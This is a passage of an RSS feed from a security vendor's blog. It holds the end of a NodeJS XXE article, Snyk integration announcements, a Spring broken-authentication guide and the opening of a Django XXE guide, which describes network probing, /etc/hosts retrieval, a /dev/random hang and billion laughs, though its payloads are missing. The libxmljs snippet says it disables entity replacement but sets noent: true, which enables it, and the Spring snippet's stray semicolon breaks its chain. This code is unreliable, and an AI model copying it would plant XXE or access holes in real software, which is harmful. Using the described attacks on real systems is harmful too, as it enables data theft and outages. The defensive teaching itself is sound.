we&amp;#39;ve mentioned in our NodeJS article about the subject, &amp;quot;Sadly, NodeJS does not have a built-in XML parsing engine, so, likely, you might already be using this library in your project. But no fret; entity replacement is disabled by default.&amp;quot;&lt;/p&gt;&lt;p&gt;Nevertheless, we recommend that you explicitly disable this feature in your project.&lt;/p&gt;&lt;p&gt;You can do this by simply changing all initializations of the library like so.&lt;/p&gt;&lt;p&gt;&lt;code&gt;const lib = libxmljs.parseXml(xml, {noent: true});&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Luckily, the latest versions of LibXML make it tough to allow entity replacement on purpose. Nevertheless, we want you to know that regardless of your approach, you may still be vulnerable to a DoS attack when using LibXML in this way.&lt;/p&gt;&lt;p&gt;Now, if you absolutely have to have this feature, you can still minimize the potential for exploits by safe-listing the external entities you allow.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;By simply checking the XML document before parsing it with our library for any strings containing any &amp;quot;ENTITY&amp;quot; not in our list, we can provide a minimum level of security to our application.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Surefire Solution&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The last thing I want to leave you with is that the best approach to security is not to have a door open in the first place.&lt;/p&gt;&lt;p&gt;Do not parse XML unless it&amp;#39;s an application requirement. Despite the convenience that it might offer, there are numerous ways to provide equivalent functionalities without opening yourself to these vulnerabilities.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;What&amp;#39;s Next?&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;It should go without saying that protecting our platforms against the exploits of bad actors requires an expansive knowledge of the technology and infrastructure in use.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Nevertheless, if you&amp;#39;re in charge of a highly productive team with many responsibilities and pressure on your hands, it&amp;#39;s essential to do your best to offer them the tools and mechanisms to perform their best. That&amp;#39;s not an easy task.&lt;/p&gt;&lt;p&gt;Luckily, we&amp;#39;ve developed the ideal solution for you.&lt;/p&gt;&lt;p&gt;Our dynamic application security testing solution is a fantastic and powerful solution that empowers teams focused on delivering the best solutions on the web while protecting your users.&lt;/p&gt;&lt;p&gt;You can check it out &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;i&gt;&lt;u&gt;Juan&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk Releases First of its Kind Integration with Snyk that Correlates Dynamic and Static Application Security Testing]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-snyk-integration-press-release</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;&lt;b&gt;DENVER, Colo. - April 27, 2022&lt;/b&gt; - &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;, the company making application security testing part of software delivery, has released its &lt;a href=&quot;https://stackhawk.com/snyk&quot;&gt;&lt;u&gt;official integration with Snyk&lt;/u&gt;&lt;/a&gt;, the leader in developer security. The new integration correlates findings across StackHawk’s dynamic application security testing (DAST) tool and Snyk’s static application security testing (SAST) tool to provide developers with a significantly more efficient way to find, correlate, and fix application and API security vulnerabilities. The integration was released as StackHawk joined Snyk’s new &lt;a href=&quot;https://snyk.co/tappsocial&quot;&gt;&lt;u&gt;Technology Alliance Partner Program (TAPP)&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;“Our integration with Synk provides users, for the first time, the ability not just to use both DAST and SAST side-by-side, but to use them in a fully integrated way. By unifying the tools, developers can identify which issues are most critical to fix and which line of code needs to be modified for significantly faster remediation,” said Joni Klippert, CEO, StackHawk. “In a world where applications and APIs are the top attack vectors, enabling developers to fix vulnerabilities as part of their workflow, before an issue hits production, is critical for both small and large organizations.”&lt;/p&gt;&lt;p&gt;“We love to see how StackHawk is empowering developers to build quickly and securely as part of our partnership,” said Jill Wilkins, Sr. Director, Global Alliances, at Snyk. “The new Snyk and StackHawk integration is a direct advancement of our collaborative mission to help businesses successfully manage risk, without sacrificing the efficiencies of modern application development methodologies.”&lt;/p&gt;&lt;p&gt;Joint customers are already seeing benefits of implementing developer-first security testing and DevSecOps within a single platform. &lt;a href=&quot;https://www.angeleyehealth.com/&quot;&gt;&lt;u&gt;AngelEye Health&lt;/u&gt;&lt;/a&gt; noted how the StackHawk and Snyk partnership gives developers a unified look at the security risks in their applications and APIs, without needing to jump across user interfaces (UIs).&lt;/p&gt;&lt;p&gt;“We were looking for DAST and SAST tools that would give our developers a complete understanding of application and API security issues in our apps,” said Jay Maples, director of IT operations at AngelEye Health. “We quickly realized giving them findings across multiple tools and UIs wasn’t going to work. Using the new StackHawk and Snyk integration gives our developers the whole picture of what application security issues exist, which issues are most important to fix, and how they can quickly remediate them.”&lt;/p&gt;&lt;p&gt;Built for modern applications, the StackHawk platform is fully automated in CI/CD, making it easy for developers to roll out software fixes quickly, securely and efficiently. To learn more about the Snyk integration attend the webinar on May 4, 2022 at 10 AM PT. Register here: &lt;a href=&quot;https://sthwk.com/snyk-webinar&quot;&gt;&lt;u&gt;https://sthwk.com/snyk-webinar&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt; &lt;b&gt;About Snyk&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Snyk is the leader in developer security. We empower the world’s developers to build secure applications and equip security teams to meet the demands of the digital world. Our developer-first approach ensures organizations can secure all of the critical components of their applications from code to cloud, leading to increased developer productivity, revenue growth, customer satisfaction, cost savings and an overall improved security posture. Snyk’s Developer Security Platform automatically integrates with a developer’s workflow and is purpose-built for security teams to collaborate with their development teams. Snyk is used by 1500+ customers worldwide today, including industry leaders such as Asurion, Google, Intuit, MongoDB, New Relic, Revolut and Salesforce.&lt;/p&gt;&lt;p&gt;&lt;b&gt;About StackHawk&lt;/b&gt;&lt;/p&gt;&lt;p&gt;StackHawk is making application security testing part of software delivery. The StackHawk platform empowers engineers to easily find and fix application security bugs at any stage of software development. With a strong founding team that has deep experience in security and DevOps, and some of the best venture investors in the business, StackHawk is putting application security testing into the hands of engineers. Learn more and sign up for a free trial at &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;&lt;u&gt;www.stackhawk.com&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Introducing StackHawk’s New Snyk Code Integration]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/announcing-stackhawks-new-snyk-code-integration</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;Today is a big day at StackHawk! We are thrilled to share that our &lt;a href=&quot;https://www.stackhawk.com/snyk/&quot;&gt;&lt;u&gt;integration with Snyk Code&lt;/u&gt;&lt;/a&gt;, the leading developer-friendly Static Application Security Testing (SAST) tool, is now live. &lt;/p&gt;&lt;p&gt;In addition to the integration, StackHawk is also an inaugural member of Snyk’s new &lt;a href=&quot;https://snyk.co/tappsocial&quot;&gt;&lt;u&gt;Snyk’s Technology Alliance Partner Program (TAPP)&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;This news all builds upon our &lt;a href=&quot;https://www.stackhawk.com/blog/announcing-stackhawk-and-snyks-new-partnership/&quot;&gt;&lt;u&gt;partnership&lt;/u&gt;&lt;/a&gt; with Snyk that we announced in early April of 2022. &lt;/p&gt;&lt;h2&gt;Correlating DAST and SAST To Shorten the Find-Fix Cycle &lt;/h2&gt;&lt;p&gt;StackHawk and Snyk began informally working together in 2021, supporting customers looking for a comprehensive suite of developer-centric application security testing tools. With these customers, the value of combining Snyk’s power to identify vulnerabilities in underlying code with StackHawk’s ability to find vulnerabilities in running applications quickly became obvious.  &lt;/p&gt;&lt;p&gt;And so the StackHawk product team set out to create an integration with StackHawk’s Dynamic Application Security Testing (DAST) tool and Snyk’s Static Application Security Tools (SAST) tool. &lt;/p&gt;&lt;p&gt;But, we knew that in order to have a real impact, we couldn’t just surface security issues from StackHawk’s DAST tool and Snyk’s SAST tool in a UI and stop there. Legacy vendors have offered this capability for years, and it’s clear that showing two sets of findings in one screen drives minimal value. Teams spend hours comparing findings across the two tools, and are forced to try to manually correlate these issues.&lt;/p&gt;&lt;p&gt;Instead, we needed to create something that harnessed the best parts of both of these tools and correlated the findings from a StackHawk test with the findings from a Snyk test - while keeping the developer at the forefront of product innovation. &lt;/p&gt;&lt;h3&gt;The Magic of DAST + SAST &lt;/h3&gt;&lt;p&gt;We love DAST because it finds the vulnerabilities in your proprietary code that are exploitable by bad actors. This means DAST findings should be teams’ top priority to fix. But, because DAST tests the running app, required fixes can take more effort to fully understand. &lt;/p&gt;&lt;p&gt;We knew that if we layered SAST’s ability to triangulate vulnerabilities down to the line of code with the benefits of DAST, we could unlock tremendous value. Teams would know where to focus their attention and they would be able to dive right into the code to fix issues rapidly. &lt;/p&gt;&lt;h3&gt;Bringing Our Vision for DAST + SAST to Life&lt;/h3&gt;&lt;p&gt;The new integration from StackHawk and Snyk does what no other DAST and SAST partnership has accomplished – application and API security issues are now correlated across the two tools. &lt;/p&gt;&lt;p&gt;What this means in practice is that when StackHawk’s DAST tool finds an exploitable vulnerability and Snyk’s SAST tool identifies that same issue, the vulnerability request and response information from StackHawk is reconciled with the exact line of code causing the issue from Snyk. &lt;/p&gt;&lt;p&gt;By doing so, teams get three huge benefits that make application security testing much more efficient: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Prioritization:&lt;/b&gt; Findings are validated by two testing methodologies, so teams have less noise in the system and know which findings are most crucial to fix. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Accelerated Fix:&lt;/b&gt; By pointing to a specific line of code, developers have all the information needed to fix on their own as part of their usual workflow&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Streamlined Workflow:&lt;/b&gt; Developers can get all the information they need to understand and fix security issues in a single place without context switching or jumping across UIs&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Our customer, Jay Maples, the Director of IT Operations at AngelEye Health said it best: &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;“Using the new StackHawk and Snyk integration gives our developers the whole picture of what application security issues exist, which issues are most important to fix, and how they can quickly remediate them.“&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;Try It and Decide For Yourself&lt;/h2&gt;&lt;p&gt;If you are interested in trying this integration for yourself, &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/snyk.html&quot;&gt;check out our docs &lt;/a&gt;which will walk you through deployment and configuration of this new integration or check out our quick demo video 👇&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/3AxwPHZRB7w&quot;&gt;video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;To get scanning, all you need is a StackHawk and Snyk account. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Getting started with StackHawk is free&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;If you aren’t quite ready to deploy on your own but want to learn more, &lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/9116510253780/WN_ldMmckPWS4eb6MgxSZs_-A&quot;&gt;check out our webinar&lt;/a&gt; that features StackHawk’s Chief Security Officer, Scott Gerlach, and Snyk’s Tomas Gonzalez. The two of them will walk you through the integration.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Spring Broken Authentication Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/spring-broken-authentication-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Broken authentication vulnerability was recognized as one of the &lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication&quot;&gt;&lt;u&gt;OWASP&amp;#39;s top 10 vulnerabilities&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Broken authentication vulnerability essentially is when an attacker gains unsolicited access to restricted data and/or functionality. It can lead to identify theft, data leakage and, in worst-case scenarios, give total control of the compromised system to the attacker. &lt;/p&gt;&lt;p&gt;This post will cover broken authentication vulnerability in general and in Java Spring in particular. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Broken Authentication Vulnerability?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Broken authentication means an attacker can gain access to restricted data by pretending to be a different user. The attacker provides the authentication credentials of a different user and logs in to the system. &lt;/p&gt;&lt;p&gt;In this way, the attacker gains access to all the data and functionality of the user he pretends to be. For instance, if an attacker provides the credentials of the admin user, he&amp;#39;ll have total control over the compromised system. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Causes Broken Authentication Vulnerability?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;There are many things that can result in a broken authentication vulnerability. Let&amp;#39;s review some of them. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Using Weak and Standard Passwords&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This is obviously a bad idea. If the username and password for your admin panel are &amp;quot;admin&amp;quot; and &amp;quot;admin,&amp;quot; an attacker can easily guess them. The same is true if you use &amp;quot;admin&amp;quot; for the username and &amp;quot;12345&amp;quot; as a password. &lt;/p&gt;&lt;p&gt;This seems to be trivial, but it&amp;#39;s actually not. Hackers have broken into a lot of systems in the past because of weak passwords. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Allowing Brute Force Cracking&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If you change the credentials to something stronger—let&amp;#39;s say &amp;quot;us8234243&amp;quot; for the username and &amp;quot;2ukZ3fav&amp;quot; for the password—those credentials can still become compromised. &lt;/p&gt;&lt;p&gt;One way an attacker can gain those credentials is via brute force cracking. In other words, the attacker creates an automated script that uses different combinations of usernames and passwords sequentially until he finds the right combination. This process can be very time-consuming (days, weeks, or even months), but if you don&amp;#39;t prevent this kind of attack, it&amp;#39;s still doable. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Sending Credentials in an Insecure Way&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Even if you use a strong password and prevent brute force attacks but send the credentials to the server in plain text using an unencrypted connection (HTTP and not HTTPS), any other user who&amp;#39;s connected to the same network as you can eavesdrop. Once he has the credentials, he can log in as if he were you. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Improper Session Handling&lt;/b&gt;&lt;/h3&gt;&lt;h4&gt;&lt;b&gt;Improper Session Storage&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Since the &lt;a href=&quot;https://www.stackhawk.com/blog/spring-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it/&quot;&gt;&lt;u&gt;HTTP&lt;/u&gt;&lt;/a&gt; protocol is stateless, there&amp;#39;s some need for session management between the client and server. Essentially, what we need is a way to identify the user and its state between distinct requests to the server. This can be done in various ways, some of them less secure than others. &lt;/p&gt;&lt;p&gt;For instance, after a successful login, we can save the credentials in a file (cookie) on the client&amp;#39;s device. In subsequent requests, we can send this cookie to the server. This way, the server will know that the user is authenticated and identify him. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;However, unencrypted cookies can be eavesdropped as easily as a username and password. &lt;/p&gt;&lt;/blockquote&gt;&lt;h4&gt;&lt;b&gt;Improper Session Timeout&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;It&amp;#39;s important to set a timeout for our login session. This means that after a certain period of inactivity, the user is automatically logged out from the system. Failing to do so may result in session hijacking. &lt;/p&gt;&lt;p&gt;This means that a session lasts forever. Hence, even if the cookie is encrypted, copying the cookie to another machine can allow an attacker to log in to the system. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Exposing Session Identifiers&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Another way in which an attacker can compromise a session is by seeing the session identifiers in the URL. During this process, anyone who has the link can enter the login session. &lt;/p&gt;&lt;p&gt;For instance, if we store the session info in a URL of this structure—https://domain.com/login?username=test&amp;amp;password=test—anyone who has the link can log in to the system. This is bad practice. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Failing to Secure API Routes&lt;/b&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;In an API, there&amp;#39;s usually a way to define which routes should require an authentication and which should not.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;If you fail to add an authentication requirement for a route that should contain it, the functionality behind this route will be available worldwide. More on this later. &lt;/p&gt;&lt;p&gt;Click here to learn about more reasons for a broken authentication vulnerability and additional info on this vulnerability in general. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Mitigating Spring Broken Authentication Vulnerability&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Here, I&amp;#39;ll first discuss mitigating a vulnerability in general and then touch on mitigating the vulnerability in Java Spring. &lt;/p&gt;&lt;p&gt;Substantially reducing the risk of compromising the system due to this vulnerability is usually quite straightforward. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Credentials Handling&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Here are some best practices: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Don&amp;#39;t use default passwords (admin/123123).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Avoid using keyboard sequences (qwerty, 123456).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use a password rotation policy (change the password every X weeks).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Don&amp;#39;t disclose your passwords to others.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Don&amp;#39;t log in to a website that uses an unencrypted connection (HTTP instead of HTTPS).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Brute Force Prevention&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Here are some best practices: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Limit failed login attempts.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Log all failures and alert administrators when multiple failed requests happen in a short time span.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ban IP addresses that generate failed login attempts from logging in to the system.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Session Handling&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Here are some best practices: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Don&amp;#39;t store credentials on the client&amp;#39;s side, especially in an unencrypted way.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Store the session identifiers on the server.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Limit the session duration and invalidate the session after a logout.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Don&amp;#39;t send session identifiers in a URL.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Spring Boot&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The Spring framework is a superb Java framework for creating web applications and enterprise applications. &lt;/p&gt;&lt;p&gt;In 2005, Pivotal developed the Spring framework, and it&amp;#39;s still very popular today. Ever since Pivotal developed the Spring framework, they&amp;#39;ve added various modules to the core Spring container. &lt;/p&gt;&lt;p&gt;Spring Boot is one of the most commonly used ones, representing the convention over configuration part of the Spring framework. Spring Boot lets you code with very minimal configuration. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Mitigating Broken Authentication Vulnerability in Spring Boot&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Although the actions that describe vulnerability prevention in terms of credentials handling are quite framework agnostic, there are some specifics in securing routes in Spring Boot. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Securing Routes&lt;/b&gt;&lt;/h3&gt;&lt;h4&gt;&lt;b&gt;Example of Vulnerability&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;This Spring controller doesn&amp;#39;t explicitly enforce any authentication: &lt;/p&gt;&lt;p&gt;&lt;code&gt;@RestController
@RequestMapping(path = &amp;quot;/administrator&amp;quot;)
public class AdminEndpoint {
@PostMapping(path = &amp;quot;action&amp;quot;)
public ResponseEntity doAdmin() { // ... } }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Additionally, in this example below, we have only one route that we&amp;#39;ve marked as requiring authentication: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The right way to protect routes in Spring is to mark any route except the public ones as requiring authentication: &lt;/p&gt;&lt;p&gt;&lt;code&gt;    .antMatchers(HttpMethod.GET, &amp;quot;/public/**&amp;quot;).permitAll();
    .anyRequest().authenticated();&lt;/code&gt;&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Broken authentication vulnerability is a serious threat to application and website developers, administrators, and owners. It can result in data theft and identity theft and may make the whole system totally comprised. &lt;/p&gt;&lt;p&gt;Various things can cause this vulnerability, including having weak credentials, allowing brute force attacks, conducting improper session handling, and failing to secure API routes. &lt;/p&gt;&lt;p&gt;Luckily, most of the mitigation techniques are simple and straightforward. If you use these techniques, the risk decreases substantially. Most of those techniques are framework agnostic and can apply to all frameworks equally, including Java Spring Boot. &lt;/p&gt;&lt;p&gt;However, there are some specifics in the way routes should be handled in Spring Boot, and I&amp;#39;ve described them in this article. Make sure to protect all routes except the public ones, and you&amp;#39;ll be on the safe side. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Alexander Fridman. &lt;/i&gt;&lt;a href=&quot;https://alexanderfo.com&quot;&gt;&lt;i&gt;&lt;u&gt;Alexander&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a veteran in the software industry with over 11 years of experience. He worked his way up the corporate ladder and has held the positions of Senior Software Developer, Team Leader, Software Architect, and CTO. Alexander is experienced in frontend development and DevOps, but he specializes in backend development.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django XML External Entities (XXE) Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/django-xml-external-entities-xxe-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;XML External Entity (XXE) attacks are a way to bypass security firewalls and coerce an application into downloading a threat to itself or sharing information with an attacker. These attacks often lead to loss of confidential information and denial of service outages. &lt;/p&gt;&lt;p&gt;In this article, we&amp;#39;ll look at Django XML External Entities and how you can protect yourself from XXE attacks in Django. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;XML External Entity Attacks&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;XXE attacks are &lt;a href=&quot;https://en.wikipedia.org/wiki/Code_injection&quot;&gt;&lt;u&gt;injection attacks&lt;/u&gt;&lt;/a&gt; that take advantage of an application&amp;#39;s willingness to process dangerous XML documents. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;These documents use XML constructs to interfere with the application&amp;#39;s expected behavior. &lt;/p&gt;&lt;p&gt;Before describing how these attacks function, we should discuss how we form XML documents. They&amp;#39;re comprised of &lt;a href=&quot;https://www.w3.org/TR/xml/#sec-physical-struct&quot;&gt;&lt;u&gt;entities&lt;/u&gt;&lt;/a&gt; that hold or refer to content. If they already have their content, they are &lt;b&gt;internal entities. &lt;/b&gt;If they don&amp;#39;t, they contain a pointer to content elsewhere; they&amp;#39;re &lt;b&gt;external entities.&lt;/b&gt; &lt;/p&gt;&lt;p&gt;Since you&amp;#39;re already familiar with the Internet and blogs, you already know what a &lt;a href=&quot;https://en.wikipedia.org/wiki/URL_&quot;&gt;&lt;u&gt;URL&lt;/u&gt;&lt;/a&gt; is. Many XML external entities use &lt;a href=&quot;https://en.wikipedia.org/wiki/Uniform_Resource_Identifier&quot;&gt;&lt;u&gt;URIs&lt;/u&gt;&lt;/a&gt;, which are a superset of URLs. They look a lot like links in HTML pages, but they can point to a wide variety of different resources. URIs may refer to content or resources—entities—on the host running the application or elsewhere, like the local network or the public Internet. &lt;/p&gt;&lt;p&gt;XXEs can also refer to content contained in the document itself. This can include constructs such as dictionaries that map entities to terms. Even they can be used in an attack, as we&amp;#39;ll see below.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Anatomy of an Entity&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s look at a document with an external entity. &lt;/p&gt;&lt;p&gt;This document defines an external entity on line #5 in the &lt;b&gt;DOCTYPE&lt;/b&gt; attribute. The entity&amp;#39;s name is &lt;b&gt;xxe&lt;/b&gt; and points to an external website at &lt;b&gt;https://example.com/login.&lt;/b&gt; &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;So, when the document&amp;#39;s body refers to &lt;b&gt;&amp;amp;xxe,&lt;/b&gt; an XML parser that expands external entities will retrieve the contents of &lt;b&gt;https://example.com/login&lt;/b&gt; and insert them in the document between the &lt;b&gt;&amp;lt;bar&amp;gt;&lt;/b&gt; tags. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;XML Entity Attacks in Action&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Now that we know what an XXE looks like let&amp;#39;s examine a few of the more common flavors of XXE attack, then see how they look in Django. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Malicious Data Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If an attacker can coerce your application into retrieving data and inserting it into a document, they can add malicious content like phishing forms and URL redirects. &lt;/p&gt;&lt;p&gt;So, our example entity is a potential injection attack. It&amp;#39;s inserting a login form to someone else&amp;#39;s website. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;
&lt;b&gt;Network Snooping Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;External entities don&amp;#39;t have to point to the public Internet. They can point at internal addresses, too. &lt;/p&gt;&lt;p&gt;So let&amp;#39;s change the URI in our sample entity: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If this URL exists, its contents will end up in the document. If it doesn&amp;#39;t, an attacker can still learn a lot. Does the &lt;b&gt;10.1.1.*&lt;/b&gt; network exist in your network? Does the 10.1.1.1 host exist? Is it running a webserver? This may sound like a lot of work until you realize that you can build a few thousand of these documents with a Python script and a few minutes to spare. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;File Retrieval Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now, let&amp;#39;s make a small tweak to our attack. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Instead of retrieving data from a web server, this attack inserts the contents of &lt;b&gt;/etc/hosts&lt;/b&gt; into the tag. Now the attacker knows what your application server does about its network. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Denial of Service Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Not all files are created equal. While some file retrievals are useful for stealing information or planning for deeper attacks, others are useful for Denial of Service (DOS) attacks. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki//dev/random&quot;&gt;&lt;u&gt;/dev/random&lt;/u&gt;&lt;/a&gt; file generates random numbers based on system noise. It&amp;#39;s a Unix special file. Reads to this file &lt;a href=&quot;https://en.wikipedia.org/wiki/Blocking_(computing)&quot;&gt;&lt;u&gt;block&lt;/u&gt;&lt;/a&gt;: they don&amp;#39;t return data until the system sees noise it can use to generate a random number. As a result, you can freeze an XML parser by pointing it there. Send a few hundred of these documents, and you&amp;#39;ve effectively killed the web application. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;LOL U R Pwned&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s look at one last attack before covering how to protect your Django application from XXE attacks. This one takes advantage of XML parser behavior to create a denial of service. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s an example of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Billion_laughs_attack&quot;&gt;&lt;u&gt;billion laughs&lt;/u&gt;&lt;/a&gt; attack: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;What happens when an XML parser process this document? &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;It encounters the &lt;b&gt;&amp;amp;lol9;&lt;/b&gt; entity.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;This entity contains 10 &lt;b&gt;&amp;amp;lol8;&lt;/b&gt; entities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Each &lt;b&gt;&amp;amp;lol8;&lt;/b&gt; entity has 10 &lt;b&gt;&amp;amp;lol7; &lt;/b&gt;entities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Wait...each &lt;b&gt;&amp;amp;lol7;&lt;/b&gt; has 10 